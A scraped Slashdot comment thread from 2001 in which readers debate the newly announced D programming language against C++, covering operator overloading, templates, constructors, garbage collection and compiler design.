1 line long. The lack of operator overloading also makes it harder to implement something like, say, a complex number in a library. With C++, you have the standard complex type in the standard library. If there was no operator overloading, using complex would be more difficult (which is easier: complex foo, bar; foo.i = 1; bar.r = 2; foo.add(bar); OR complex foo, bar; foo.i = 1; bar.r = 2; foo += bar;). I do see some good qualities. One is the ability to call a constuctor from a constructor. This results in less duplicated code, and makes it easier to keep two constructors of a class synced. Say you had a class with two constuctors: one that takes no arguments (default) and one that takes an int argument. The int argument one can't call the default constructor (this creates a temporary, contructs it, and then deletes the temporary). D allows you to do that. Maybe the next C++ specification will fix that. D does seem to have a lot of flaws. It doesn't seem very useful. Maybe some people will find it useful. But it seems to me to be yet another language written for someone's personal usage. It makes sense to that person, but not to anyone else. C is a good language because its creators made it useful for other people as well as themselves, same for C++, lisp, Objective-C, and countless other languages. templates and operator overloading are good things (Score:5, Interesting) Templates and stack instantiation of of objects with semantics [i.e. constructors/destructors] is a royal pain in the a** for compiler writers. In fact, only somewhat more recently is g++ even able to handle templates in a decent way; it took a long time to get it right. C++ was a very ambitious language, hard as hell to implement, but that's what makes it so usefull. Give up templates and multiple inheirantance? He suggests this is a good thing?! D is clearly not a language innovation, he should have called it C--. Besides, you don't actually have to use such features extensively [or at all, really] in a C++ program. You could always avoid iostream and just #include old stdio.h, for example, only choosing to use classes with constructors for some usefull/neccessariy/labor-saving part of the code, while all the rest of it is essentially no different then C [aside from stricter compile-time type checking, which ANSI C has been moving towards anyway, lately] This is no innovation. A few other random points: Ohh! Garbage collection, you can link to a garbage collecting malloc in a C++ program anyway. [If you really care to look into it, C++ allows a whole range of complex underlying storage classes for custom memory management of different parts of a project.] Arrays are not first class objects?! Well, this is true, sort of. But you can choose to use vectors, [or other more efficient representations [such as maps, etc] depending on your data type, and with inlining, they will be as efficient as if they were 'native language syntax' features. You don't even have to use the STL, you can write a custom implementation of dynamicly resizable vectors of your own [with automatic bounds checking and resizing, for example] quite trivially. I did it once, and it took, what, 2 pages of source. That's the power of C++, it's so expressive for implementing custom manipulations of low level data, packaged nicely into classes. No on stack variables? All data as dynamic references? Yech. Generally too inefficient. I still suspect that he just dosen't want to tackle the hairness of writing such a complex compiler. Remember, you can use only dynamic memory in C++ easily enough, with garbage collection too. Overall, I think D is too lenient. I give him an F. Still, I strongly respect the desire to attempt to implement a novel language. Not that there aren't hundreds out there, but it's a noble effort. Still, publishing without even demo code? Yeesh. Sounds like... (Score:5, Interesting) If, on the other hand, all he wants to do is sell compilers, and therefore he needs to convince the rest of the world of the language's benefit, then fooey. And for the record, damn, I feel old -- I remember trying to make the Zortech compiler work for an old project of mine circa maybe 1989 or so(?) and having problems. I think at one point or another I might have actually gotten email from Walter. Wow, names from the past. In a conference call yesterday I needed to come up with a secure hashing algorithm and I said "ROT13. If we need extra security we can do it twice." and absolutely no one got it. Anyway, back on topic: No templates? Oooooo, I have a C++ friend who is gonna be pissed.... duane "In C++, you can look at your friend's privates." Re:Forth !!!! (Score:2, Interesting) /Janne Re:practical experience implementing compilers?? (Score:2, Interesting) weirdness (Score:3, Interesting) He doesn't have any post-code gen optimization? I know you can perform elementary optimization onthe intermediate rep, (such as folding, etc), but he'll really need another phase if he wants to optimize for pipelines, which will vary from architecture to architecture? Tut tut. Maybe it's just an omission on his part. Forth !!!! (Score:2, Interesting)
https://developers.slashdot.org/story/01/08/15/234223/the-d-programming-language/interesting-comments
CC-MAIN-2017-09
refinedweb
2,835
63.59
Hello, I am using ASPOSE.WORD Ver# 9.7. I have created a word document and converted it to a PDF. There is a table with setting to repeat table header row on each page. The table headers are showing ok on each page in word format but the right side of the table header cuts off on the second page in PDF format. Is there a workaround to fix this issue? Will upgrading from 9.7 to the latest version resolve the issue? Attached is the screen print of PDF.<?xml:namespace prefix = v Coverting from word to PDF cuts off the top right corner of table header Hello, Hi Patrick, Thanks for your inquiry. Could you please attach your input Word document here for testing? I will investigate the issue on my side and provide you more information. I would suggest you please upgrade to Aspose.Words v11.9.0. Moreover, please read the following article on ‘How to Migrate to Aspose.Words 10.5 or Higher’: Thanks for you help. Attached is the word document. Hi Patrick, Thanks for sharing the document. I have tested the scenario and have not found any issue with output PDF file while using latest version of Aspose.Words for .NET. Please use the latest version of Aspose.Words for .NET. I have attached the output PDF file with this post. Please let us know if you have any more queries.
https://forum.aspose.com/t/coverting-from-word-to-pdf-cuts-off-the-top-right-corner-of-table-header/48946
CC-MAIN-2022-21
refinedweb
239
77.43
SetFirmwareSOAP action in upnpd. Due to an undersized memory allocation, we aren't able to flash a full sized image using this exploit. Whereas a stock firmware is nearly 9MB, the buffer upnpdbase64 decodes into is 4MB, leading to a crash. As a result we have to load our trojanized firmware in two stages. The first stage is stripped down to bare essentials and contains an agent that downloads and flashes a full sized second stage providing persistent remote access. In this part, we conclude the series with a discussion of how to prepare the stage 2 and what it should contain. Updated Exploit CodeThere have been substantial changes to the part 14 code. There is a new exploit script, firmware_exploit.py. This script wraps setfirmware.pyfrom the previous installments, plus it sets up connect-back servers required by both stages of the payload. Unlike before, it requires no command-line arguments. Instead it takes its configuration parameters from environment.py, which is thoroughly documented. If you haven't already now is a good time to clone the repository. There's a lot going on in this final part, and perusing the source is the best way to see how it all works. You can clone the repo from: Post ExploitationThis and the previous posts focus on the post exploitation phase. This is among my favorite parts of vulnerability research and exploitation. It's the reward for all the head-desking that went into reverse engineering the vulnerable code and debugging your exploit. At this point, your exploit is working, giving you full control over your target. You can run any code you choose on the target as if it was your own. So how do you level that up into something useful? What you do with it depends on your goals and your imagination. Besides the obvious remote root shell, you could use your compromised host as a platform from which to attack other hosts. Here's a video showing just that. In the video, I demo an exploit chaining framework. The script exploits buffer overflows in three devices. It tunnels through the first to exploit the second, and through the first two to exploit the third. Then the connect-back shell tunnels backwards from the third host, though the second and first. From the perspective of the third host, the exploit came from the second. Exploit and Callback Tunneling from Zach on Vimeo. If you do go with the root shell, do you want it to be a simple TCP shell, or something more sophisticated, like SSH? You could even have the exploit download and execute an arbitrary payload from the internet for maximum flexibility. Should you have the payload run automatically at boot, or should it lie in wait, checking a dead drop for further instructions? For this project I'll stick with a simple connect-back TCP shell. This style of payload connects from the target to wherever I choose. Since this requires only an outbound connection from the compromised host, it helps get around filtering of inbound connections. Stage 2 Preparation In the previous part I described embedding the mtdutility from OpenWRT in the first stage in order to write stage 2. The mtdutility is ideal because it's so simple and handles the semantics of unlocking, erasing, and writing flash memory. Due to its simplicity, however, mtdhas no knowledge of the ambit firmware format, nor does it know to write the firmware footer at the end of the flash partition. The mtdutility simply writes an opaque blob to whatever /dev/mtddevice you specify. Because it was late when I was finishing up this project, I didn't want to write and debug a custom utility to run on the target that could parse the ambit format. I wanted to keep as much of the complexity as possible in the pre-exploitation phase and out of post-exploitation. This reduces the likelihood of things going wrong on the target device, from which you can't easily recover. I decided to preprocess the firmware image using Python and generate a flat file that could be laid down on the appropriate flash partition. I've added a tool, called make_mtd.py, to the repo that does the conversion. Here's an example of it in action, generating a binary image exactly the size of the target flash partition: $ make_mtd.py ./stage2.chk ./stage2mtd.bin 15728640 [+] Initializing mtd file: ./stage2mtd.bin [@] Done initializing ./stage2mtd.bin [@] Writing TRX image to ./stage2mtd.bin [@] Got TRX image offset: 58 [@] Got TRX image size: 8914180 [@] Got TRX checksum 0xb027cb30 [+] Writing data to ./stage2mtd.bin [+] Done writing data to ./stage2mtd.bin [@] Done writing TRX image. [@] Writing footer to ./stage2mtd.bin [@] Writing trx image size. [@] Writing trx checksum. [+] Done writing TRX image to ./stage2mtd.bin Of course you'll need to serve up the second stage somehow. Recall that we had a script in stage 1 run at boot time and use wgetto download stage 2. We'll need to serve the flattened second stage over HTTP. Up to now, we've been using Bowcaster primarily to build the firmware image. Its API for describing buffer overflow strings and ROP gadgets happens to be convenient for describing the ambit and TRX headers. However, Bowcaster also provides a number of server classes for exploit payloads to call back to. One of those classes is a special-purpose HTTP server. I found myself wanting an HTTP server to terminate after serving one or more specific payload files, allowing the exploit script to move on to the next stage. The class that does this is HTTPConnectbackServer. It's simple to use. You provide a list of files to serve (files may be listed multiple times if they are to be served multiple times), an address to bind to, and optionally a port and document root: files_to_server=sys.argv[1].split(",") httpd=HTTPConnectbackServer(ip_address,files_to_serve) httpd.serve() # wait() blocks until server terminates httpd.wait() # do rest of exploit... Once the second stage has been served up, the exploit script moves on to the next phase. This allows the script to run synchronously with payload execution on the target. Stage 2 Payload This brings us to the next question: what should the second stage firmware include? As I explained above, the options are practically unlimited. For the sake of simplicity, we'll stick with a reverse TCP shell that we can configure to phone home. This provides a remote root prompt without our having to worry about interference from a firewall or NAT router between us and the target. Further, you could have a completely separate system receive the remote shell, even from outside the target's network. That other system would require no knowledge of the target's hostname or IP address. Many readers will already be familiar with the reverse shell, but for those that aren't, here's a typical C implementation that we'll cross-compile and bundle into the firmware. It's fairly straightforward if you're accustomed to C programming on Linux. #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <netdb.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> /* * Create reverse tcp connect-back shell. * ./reverse <IP address> <port> * IP address address of host to connect back to. * port port on host to connect back to. */ int do_rtcp(const char *host, const char *port) { char *ex[4]; int s; struct addrinfo hints; struct addrinfo *res; int ret; memset(&hints, 0, sizeof hints); hints.ai_family=AF_INET; hints.ai_socktype=SOCK_STREAM; ret=getaddrinfo(host,port,&hints,&res); if (ret != 0) { fprintf(stderr,"getaddrinfo: %s\n", gai_strerror(ret)); return 1; } s=socket(res->ai_family,res->ai_socktype,res->ai_protocol); if (s < 0) { perror("socket"); return 1; } ret=connect(s,res->ai_addr,res->ai_addrlen); if (ret < 0) { perror("connect"); return 1; } //replace stdin, stdout, and stderr with the socket since //all of our input and out put will go to and come from the //remote host. dup2(s,0); dup2(s,1); dup2(s,2); //Now exec /bin/sh, which replaces this process. //The new /bin/sh process will keep the the file descriptors we //dupped above. ex[0]="/bin/sh"; ex[1]="sh"; ex[2]=NULL; execve(ex[0],&ex[1],NULL); //we should never get to this point, so something went wrong. return 1; } int main(int argc, char **argv) { const char *host; const char *port; pid_t child; if(argc != 3) { fprintf(stderr, "%s <IP address> <port>\n",argv[0]); exit(1); } printf("Forking."); child=fork(); if(child) { printf("Child pid: %d\n",child); exit(EXIT_SUCCESS); }else { printf("We have forked. Doing connect-back.\n"); host=argv[1]; port=argv[2]; exit(do_rtcp(host,port)); } } How should we kick off the reverse shell? The simplest way is to phone home with your reverse shell immediately. While simple, this method is not without problems. Perhaps outbound internet connectivity isn't yet available, or you may not have a reverse shell listener available to receive the connection. As such, you may want to wait until a prearranged condition is satisfied. You could have your boot-time agent check a dead drop such an HTML comment on a website. Or it could perform a DNS query looking for a specific IP address. For this project, we'll keep it simple, and just fire off the reverse shell automatically on boot. Recall from last time, we replaced the /sbin/wpsdexecutable with a shell script that was responsible for downloading and flashing the second stage. Unfortunately we can't use that trick again; we need to restore the original wpsdbinary so the router will can function normally. There is, however, an executable that isn't likely to be missed if we replace it. Almost every consumer Netgear device has a telnet backdoor listening on the LAN. There is a daemon, telnetenabled, that listens for a magic packet on the network which causes it to start up telnet. Since this service isn't essential for normal operation, we can replace it with our shell script. It also helps that telnetenabledruns late in the boot process, so hopefully network connectivity has been established. #!/bin/sh #WAN or LAN host is fine here. host=10.12.34.56 port=8081 # We could put this in a loop if we wanted to phone home even # after the initial connection, or if network connectivity isn't # always available. /usr/sbin/reverse-tcp $host $port And with that we should have our remote root shell, assuming everything has gone right. This final part combines a lot of pieces, both on the target and on our end. I've covered most of it here, but if you want to see how it all fits together, check out the part 14 addition to the source code repository. Summary: So, to recap, here's a summary of the exploitation process from start to finish: - Send a string to upnpd, probably in the form of HTTP headers but not necessarily, containing SetFirmware. - Ensure Content-Length:header with a value greater than 102401 is in the initial string. - Don't send more than 8,190 bytes. - Sleep exactly one second without closing the connection. - Send something approximating a SOAP request body containing a base64 encoded firmware image. Don't close the connection! - Sleep a few seconds before finally closing the connection. - Be sure the firmware image is less than 4MB; it gets base64 decoded into an undersized buffer. upnpdtriggers a reboot into the stripped-down firmware. - A script downloads a flattened, full-size firmware image and writes it to flash memory. - The router reboots a second time. - A script (put in place of Netgear's telnet backdoor) kicks off a reverse-TCP shell session to a predetermined destination, yielding remote root access. One More Thing While the reverse-TCP agent gives us complete, remote control over the device, its operation is essentially invisible to the user. In fact, there's almost no way to tell by inspection that we've taken over the device. For the purposes of real-world exploitation, this is ideal. The router continues to function as normal with no indication otherwise. For demonstration purposes, however, wouldn't it be cool if we could leave a calling card, so to speak? This could be some sort of easily identifiable sign that there are no tricks up our sleeve--that we really have owned the target. In the router's web interface, there is a "Netgear Genie" logo in the upper lefthand corner. This logo comes from In the router's web interface, there is a "Netgear Genie" logo in the upper lefthand corner. This logo comes from /www/img/Netgeargenie.pngon the router's filesystem. When we're building the second stage firmware image, we can replace that image with one of our choosing (giving it the same name of course). After the last reboot, when we log into the router's web interface, there can be no doubt who's in charge. There are a lot of moving parts, and we've covered a lot of ground in 14 installments. I'll leave you with the video I included in the prologue that shows it all come together. Come for the 'sploits, stay for the music. R6200 Firmware Upload from Zach on Vimeo. Cheers!
https://shadow-file.blogspot.com/
CC-MAIN-2018-34
refinedweb
2,221
65.93
:07 PM. Dave Winer: I designed my first RSS module today, called blogChannel. It was fun. Just when I thought that all hope for any fun was out of RSS, Dave and Mark conspire and surprise me. Ugo Cei: What's the point of having extensions in URLs? I use it to determine the desired format. You can see this blog entry (including comments) in html, rss, rdf, and txt formats. The rss2 feed is experimental. Other aspects of the namespace: if the path element is exclusively digits, then it is interpreted successively as a year, month, or day. If it is alphabetic without an extension, then it is treated as a (as of yet unexploited functionallity) category. Exploiting categories is on my todo list. As is creating permalinks for comments that people have left, and to integrate in a traceback system. Oh, and queries are supported. And all of the above can be combined, so you can get a list of all of the postings on Keith in August of 2002 in RDF format, if you so desire. Filtered by category, once I start using that function. All of this from a simple URL. [Macro error: Can't evaluate the expression because the name "channeltitle" hasn't been defined.] Last update: 1/25/2002; 7:23:12 AM
http://radio.weblogs.com/0101679/2002/09/17.html
crawl-002
refinedweb
219
75.71
QImage scaledtoHeight does not work for QImage::Format_Grayscale16 - SachinBhat last edited by Hi, I wanted to scale the input image of format QImage::Format_Grayscale16. But the output image post transformation is garbage. Could anyone please provide a way to scale my images with the help of an inbuilt function? Thanks Sachin - SachinBhat last edited by Hi, I can provide more information if I am not clear with the problem? The scaletoheight() uses transformation of images for scaling which I do not have any idea of implementation. I cannot convert the format to a format where the scaling is possible either. Or is there a way? Thanks Sachin - jsulm Lifetime Qt Champion last edited by @SachinBhat Please show your code where you scale the image... - SachinBhat last edited by kshegunov Hi, @jsulm Thank you for your reply. Below is the code snippet: QImage img("file_location"); #if IMG_DEBUG writer1.write(img); #endif if (img.format() >= QImage::Format_RGBX64) { int width = DIV_ROUND(m_ptnWidth * PTN_IMG_HEIGHT, m_ptnHeight); delete m_ptnImageCache[cacheIndex].img; m_ptnImageCache[cacheIndex].img = new QImage(width, PTN_IMG_HEIGHT, QImage::Format_Grayscale16); } if(img.isNull()) return NULL; int scaleHeight = DIV_ROUND(PTN_IMG_HEIGHT * img.height(),m_ptnHeight); scaledImage = img.scaledToHeight(scaleHeight); I get improper output. Left is the input, right is the output image I get proper outputs for other formats Thanks Sachin [Edit: Added code tags ~kshegunov] - kshegunov Moderators last edited by It's possible this is a bug, seems that the pixel data alignment is broken for some reason. Could you prepare a very simple self-contained project (along with the test image) and upload it somewhere? Please strip the irrelevant code if you decide to do so (like the m_ptnImageCache).
https://forum.qt.io/topic/109812/qimage-scaledtoheight-does-not-work-for-qimage-format_grayscale16
CC-MAIN-2022-33
refinedweb
272
58.18
Three More For XML Output October 15, 2003 This column has touched on some advanced XML processing topics, but I keep coming back to basics. The reason for this is that the two most common XML processing tasks for Python users are to extract particular data fields from XML files and to generate XML in order to feed another program. I first laid out the basics and the pitfalls. Then I covered how to use the built-in SAX tools for XML output. Because of bugs and inconsistencies between versions, I don't advise using the SAX XMLGenerator for XML output, although XMLFilter, a new package I mention at the end of this article, might help make it a safer option. In my article "Gems From the Archives" I dusted off XMLWriter, a very nice XML output class deveoped by Lars Marius Garshol. I really like this latter option, and I think that someone should work it into the Python standard library. In this article I continue the hunt for XML output tools, introducing three. First I'll demonstrate that you don't have to have any interest whatsoever in XSLT in order to take advantage of the fact that the W3C XSL working group thought long and hard about XML output considerations . 4Suite's XSLT Writers 4XSLT, part of 4Suite, implements all of the XSLT specification's output requirements, which covers pretty much all the most common output scenarios for XML and even HTML. The API which XSLT processors uses for output was designed to follow the texture of the XSLT specification with respect to result tree processing. Oddly enough, I never thought to use this API for more general output generation until recently, but the more I use it, the more I think that building indirectly on the Working Group's efforts in this way has resulted in a very straightforward, yet flexible output tool. All you need to do is download 4Suite and run python setup.py install to get going, though you might skim the detailed install instructions on the project page. Listing 1 is an example of the API and generates a simple XML Software Autoupdate (XSA) file. XSA is the same XML data format used as example in the "Gems from the Archives" article, a format for listing and describing software packages. import sys from Ft.Xml.Xslt.XmlWriter import XmlWriter from Ft.Xml.Xslt.OutputParameters import OutputParameters oparams = OutputParameters() oparams.doctypeSystem = u'' oparams.doctypePublic = u'-//LM Garshol//DTD XML Software Autoupdate 1.0//EN//XML' oparams.indent = 'yes' #Use default output parameters, and write to the console writer = XmlWriter(oparams, sys.stdout) writer.startDocument() writer.startElement(u'xsa') writer.startElement(u'vendor') #Element with simple text (#PCDATA) content writer.startElement(u'name') writer.text(u'Centigrade systems') writer.endElement(u'name') writer.startElement(u'email') writer.text(u"info@centigrade.bogus") writer.endElement(u'email') writer.endElement(u'vendor') #Element with an attribute writer.startElement(u'product') writer.attribute(u'id', u"100\u00B0") writer.startElement(u'name') writer.text(u"100\u00B0 Server") writer.endElement(u'name') writer.startElement(u'version') writer.text(u"1.0") writer.endElement(u'version') writer.startElement(u'last-release') writer.text(u"20030401") writer.endElement(u'last-release') #Empty element writer.startElement(u'changes') writer.endElement(u'changes') writer.endElement(u'product') writer.endElement(u'xsa') writer.endDocument() The API is rather meticulous and verbose. You spell out every start element, end element event, and every atribute separately, etc. I have considered adding some shortcuts to this API for use in direct output, but this would be but a minor convenience and is probably a low-priority task. Non-ASCII output is cleanly and correctly handled, as are all other escaping and output conformance tasks. A significant amount of the expensive work for this conformance is written in C for maximum performance. Use OutputParameters to set the document type declaration and to request that the output be indented. There are other parameters you can set, as established by the XSLT spec: method-- "xml" (the default), "html" or "text". Sets the output format. For example, if "html", certain elements will be treated in a browser-friendly (but not well-formed XML) way. Rather than setting output method using this variable, you should just pick the appropriate writer class (see below). encoding-- the character encoding to use (default UTF-8). The writer will automaticaly use character entities where necessary. omitXmlDeclaration-- "yes" to suppress output of the XML declaration. Default "no" standalone-- "yes" to set standalone in the XML declaration. mediaType-- sets the media type of the output. You'll probbaly never need this. cdataSectionElements-- a list of element names whose output will be wrapped in a CDATA section. This can provide for friendlier output in some cases. Ft.Xml.Xslt.XmlWriter is just one of the writer objects provided by 4XSLT. According to your needs you can substitute one of the following: HtmlWriter-- Use HTML output rules PlainTextWriter-- Use plain text output rules (e.g. no elements) SaxWriter-- Write to a SAX handler DomWriter-- Create a DOM instance from the output. Use the getResult()method on the writer to retrieve the resulting node. All of these descend from NullWriter, which does nothing with output requests, but which could be subclassed to provide other specialized writers using the same API. NullWriter is also the best reference for the writer API, which includes methods in addition to those used in listing 1, such as processingInstruction, comment and namespace (for full power in emitting namespace declarations). Python xmlprinter The project home page says it as crisply as you please: "xmlprinter is a simple, lightweight module to help write out XML documents, helping ensure proper quoting and balanced tags. The idea is grabbed from Perl's XML::Writer module." Download the package (available in Bzip2 format only), unpack and install with the usual "python setup.py install". xmlprinter is open source under the GPL. Unfortunately, out of the box xmlwriter has some serious bugs with regard to output conformance. For one thing, it hardcodes the character data output encoding as "UTF-8", even if you choose a different encoding in the XML declaration. In general, it does not accommodate Unicode passed into the API even though this is probably the only sane way to emit XML (see my first article on the topic for a fuller discussion of why). The package requires Python 2.2 or better, so the fix for the immediate problems I found are easy enough. There are aspects of the package that I like, so rather than giving up I worked up a patch for it, in listing 2:Listing 2: Patch to support Unicode and fix encoding bug in xmlprinter --- xmlprinter.py.old 2003-10-14 07:51:26.000000000 -0600 +++ xmlprinter.py 2003-10-14 07:57:35.000000000 -0600 @@ -55,6 +55,7 @@ __version__ = "0.1.0" __revision__ = "$Id: xmlprinter.py,v 1.6 2002/08/31 08:27:25 ftobin Exp $" +import codecs class WellFormedError(Exception): pass @@ -90,6 +91,8 @@ if self._past_decl: raise WellFormedError, "past allowed point for XML declaration" + wrapper = codecs.lookup(encoding)[3] + self.fp = wrapper(self.fp) self.fp.write('<?xml version=%s encoding=%s?>\n' % (quoteattr(self.xml_version), quoteattr(encoding))) @@ -142,7 +145,7 @@ if not self._inroot: raise WellFormedError, "attempt to add data outside of root" - self.fp.write(escape(data).encode('UTF-8')) + self.fp.write(escape(data)) def emptyElement(self, name, attrs={}): With this patch in place I was able to get the XSA output test to work with xmlprinter, presented in Listing 3.Listing 3: Using xmlwriter to generate XSA import sys, codecs import xmlprinter xp = xmlprinter.xmlprinter(sys.stdout) xp.startDocument() xp.notationDecl( 'xsa', u'-//LM Garshol//DTD XML Software Autoupdate 1.0//EN//XML', u'' ) #Notice: there is no error checking to ensure that the root element #specified in the doctype decl matches the top-level element generated xp.startElement(u'xsa') #Another element with child elements xp.startElement(u'vendor') #Element with simple text (#PCDATA) content xp.startElement(u'name') xp.data(u'Centigrade systems') #Close currently open element ('name') xp.endElement() xp.startElement(u'email') xp.data(u'info@centigrade.bogus') xp.endElement() #Element with an attribute xp.startElement(u'product', {u'id': u'100\u00B0'}) xp.startElement(u'name') xp.data(u'100\u00B0 Server') xp.endElement() xp.startElement(u'version') xp.data(u'1.0') xp.endElement() xp.startElement(u'last-release') xp.data(u'20030401') xp.endElement() #Empty element xp.emptyElement(u'changes') xp.endElement() xp.endElement() This API is very close to that of Garshol's XMLWriter. Unfortunately, since it could use more work, it hasn't seen any development since September, 2002. JAXML JAXML is a GPL module for generation of XML, XHTML or HTML documents. To install it, download the tarball (tar/gzip the only format I found), unpack and install with the usual "python setup.py install". In the "Gems from the Archives" article I pointed to a delightfully twisted concept by Greg Stein for how to really twist Python syntax into XML output commands. His example is the following snippet to generate a bit of XHTML: f = Factory() body = f.body(bgcolor='#ffffff').p.a(href='l.html').img(src='l.gif') html = f.html[f.head.title('title'), body] JAXML is pretty close to a realization of this idea. As an example, listing 4 is the equivalent of Stein's example:Listing 4: Using JAXML to generate XHTML import sys, codecs import jaxml doc = jaxml.XML_document() html = doc.html() doc._push() html.head().title('title') doc._pop() doc.body(bgcolor='#ffffff').p().a(href='l.html').img(src='l.gif') print doc Method invocation on the special JAXML "tag" objects create child objects. Text parameters become child text and keyword parameters become attributes. JAXML generates elements in a nested fashion as the special methods are invoked. This means that you have to have a way to wind back up the element stack if you want sequential elements. The _push() method allows for this, saving a current "location" for adding elements, which you then jump back to using the _pop() method. The result is: <?xml version="1.0" encoding="iso-8859-1"?> <html> <head> <title>title</title> </head> <body bgcolor="#ffffff"> <p> <a href="l.html"> <img src="l.gif" /> </a> </p> </body> </html> JAXML manages to work support for XML namespaces into this general idea, which is impressive. Unfortunately, after a lot of tinkering I was not able to use JAXML to emit the XSA sample I've been using. I ran into problems trying to create the "last-release" element because that is not a legal identifier name in Python. And I ran into a lot of trouble trying to get it to handle the non-ASCII text. There seem to be some experiments with non-ASCII in the test.py file that comes with JAXML, and I was able to tinker until I got the degree character into the element text, but I wasn't able to figure out how to get it into an attribute. These matters might come down to documentation, and I might have missed something, but my first impression is that this really cool idea might need a bit more incubation before it's ready for industrial use. Choice is a good thing. 4XSLT has more sophisticated output rules than Garshol's XMLWriter or the other options I looked at in this article. But you may not want to install such a big package as 4Suite just to write out some XML. If you're using XML lightly, the smaller packages will probably suit your needs just fine, and I suspect that JAXML wold suit the tastes of some Python developers very well. Also you may be limited in platforms if you use 4XSLT (tested under Windows and most Unix variants but all bets are off for Pippy, mainframe ports and the like). But if you're using XML heavily, then you're probably best off considering a comprehensive package such as 4Suite or the Python bindings to libxml/libxslt anyway. Luckily, experimenting with all these packages is very easy, so you should be able to quickly determine which one fits your groove. Python-XML Roundup It was a light month in Python-XML activity.. Xmldiff 0.6.4 was released. "Xmldiff is a Python tool that figures out the differences between two similar XML files, in the same way the diff utility does for text files. The output can use a home brewed format or XUpdate". This is primarly a bug-fix release. See Alexandre Fayolle's announcement and the follow-up with corrected download URL. I released Anobind 0.6.0. Anobind was the topic of the last article in this column. There is some internal restructuring in this release as well as new namespace support and a whitespace stripping. See my announcement
https://www.xml.com/pub/a/2003/10/15/py-xml.html
CC-MAIN-2018-05
refinedweb
2,160
56.55
Im only starting arrays and im stuck on the percentage of the total votes. I have all the rest of it compiling Im just getting an error when I try with the percentage bit. I havent finished the last output as I know how to that just want to get the percentage working. If someone could please help would be greatly appreciated!! Error: cannot find symbol symbol: variable i location: class Election This is what I have been asked to do:. Hint: use parallel arrays A sample output is: Candidate Votes Received % of Total Votes Johnson 5000 25.91 Miller 4000 20.72 Duffy 6000 31.09 Robinson 2500 12.95 Murphy 1800 9.33 Total 19300 The winner of the election is Duffy This is my code: import java.util.Scanner; class Election { public static void main(String args[]) throws Exception { Scanner in = new Scanner(System.in); String[] candidate = new String[5]; int[] votes = new int[5]; int currentCandidate = 0; int sum = 0; while(currentCandidate < candidate.length) { System.out.println("Please enter candidates last name: "); candidate[currentCandidate] = in.next(); currentCandidate++; } for(int i = 0; i < candidate.length; i++) { System.out.println("Please enter the total votes for " + candidate[i]); votes[i] = in.nextInt(); sum += votes[i]; } for (int j = 0; j < votes.length; j++) { double percentage = (double) votes[i] / (double) sum * 100; } int max = votes[0]; for (int k = 0; k < votes.length; k++) { if(votes[k] > max) max = votes[k]; } System.out.println(" The result of the election is:" + "\n"); System.out.println(" Candidate " + " Votes " + " % of Total Votes " + "\n"); } }
http://www.javaprogrammingforums.com/whats-wrong-my-code/20159-percentage-array-help.html
CC-MAIN-2015-18
refinedweb
261
61.22
Overview Atlassian Sourcetree is a free Git and Mercurial client for Windows. Atlassian Sourcetree is a free Git and Mercurial client for Mac. Updating From 0.1.6 to 0.2 or higher The model has changed, run South migrations. Multilingual support has been added. Optional title and close fields added. From 0.1.4 to 0.1.5 If you're updating from 0.1.4 to 0.1.5 take note that the CookieBar model has changed, you should run the South migrations. Requirements - jQuery>=1.5.1 Usage - Add the cookie_law app to your INSTALLED_APPS. - Add 'url(r'^cookies/', include('cookie_law.urls')),' to your main urls.py, without the ''. - Run the cookie_law migrations or syncdb if you don't use South, but you should. - Load the cookie_bar template tags and include {% show_cookie_bar %} under the <body> tag in your base template. - Create a cookie bar in the admin (if you do not a default bar will be created, you should edit this asap). - Surround your cookies with {% if request.COOKIES.allow_cookies == '1' %} <cookie> {% endif %} - To change the domain used for the cookies to check a visitor's preferences, create a Django setting.COOKIE_LAW_DOMAIN Multilingual Support If you want multilingual support add the languages you want to your settings file. LANGUAGES = (('nl','Nederlands'), ('en','English')) Every time the cookie bar template tag is called it will check if a cookie bar exists for each language, if not; one will be created. It is up to you to translate these into the right language. You can do this via the admin. The multilingual support works by checking for a LANGUAGE_CODE in the request. Localization middleware should handle this. If this doesn't exist the default Dutch cookie bar will be used.
https://bitbucket.org/wlansu/django_cookie_law_nl/
CC-MAIN-2017-51
refinedweb
291
70.09
Kevin Lankford1,940 Points Having trouble initializing mTags. Am I not adding the arguments correctly? I'm getting an error thats saying there aren't the correct amount of arguments in the constructor. My idea of setting the constructor was to initialize the variables within the class. Am I not getting the concept of the task? Any help is appreciated, thank you. package com.example.model; import java.util.List; import java.util.Set; public class Course { private String mTitle; private Set<String> mTags; public Course(String title, Set<String> tag) { mTitle = title; mTags = tag; //; } } 1 Answer Steve HunterTreehouse Moderator 57,555 Points Hi Kevin, To initialise the mTags variable, you need to assign a new instance of HashSet to it. You don't need to change the parameters that the constructor takes. Something like: public Course(String title) { mTitle = title; // TODO: initialize the set mTags mTags = new HashSet<String>(); } Make sure you also import the HashSet at the top of the code. I hope that helps, Steve. Steve HunterTreehouse Moderator 57,555 Points Hi Kevin, The class definition has a space for its own content, so the template for each instance contains a memory space for the member variables. But this is just so the application can assess the overhead required for each created instance. If you never create an instance, the compiler will allocate no memory for the class. The constructor, in this example, initialises the mTags variable, because that's the task this challenge wants you to complete. So, the memory overhead (hole) has been created because the compiler knows what an instance of each class needs. Then, the constructor here has created an mTags instance of Set and assigned that to the memory hole. You are then free to use the Set as you wish. Creating the declaration in the class definition isn't the same as initialising it. The member variables are declared in the class. In this case, you initialise the mTitle with a value by passing a value into the constructor. The mTags member variable is initialised with a blank instance of HashSet, ready to be used later. The memory management of that occurs outside of the Course class. I hope that made some sense! Steve. Kevin Lankford1,940 Points Kevin Lankford1,940 Points Thank you! So in this perspective, am I establishing that I am using a collection of type Set when initializing in the class "Set<String> mTags;" and then specifying when I get into the constructor that I will be using a HashSet "mTags = new HashSet<String>();?
https://teamtreehouse.com/community/having-trouble-initializing-mtags-am-i-not-adding-the-arguments-correctly
CC-MAIN-2019-51
refinedweb
427
64.71
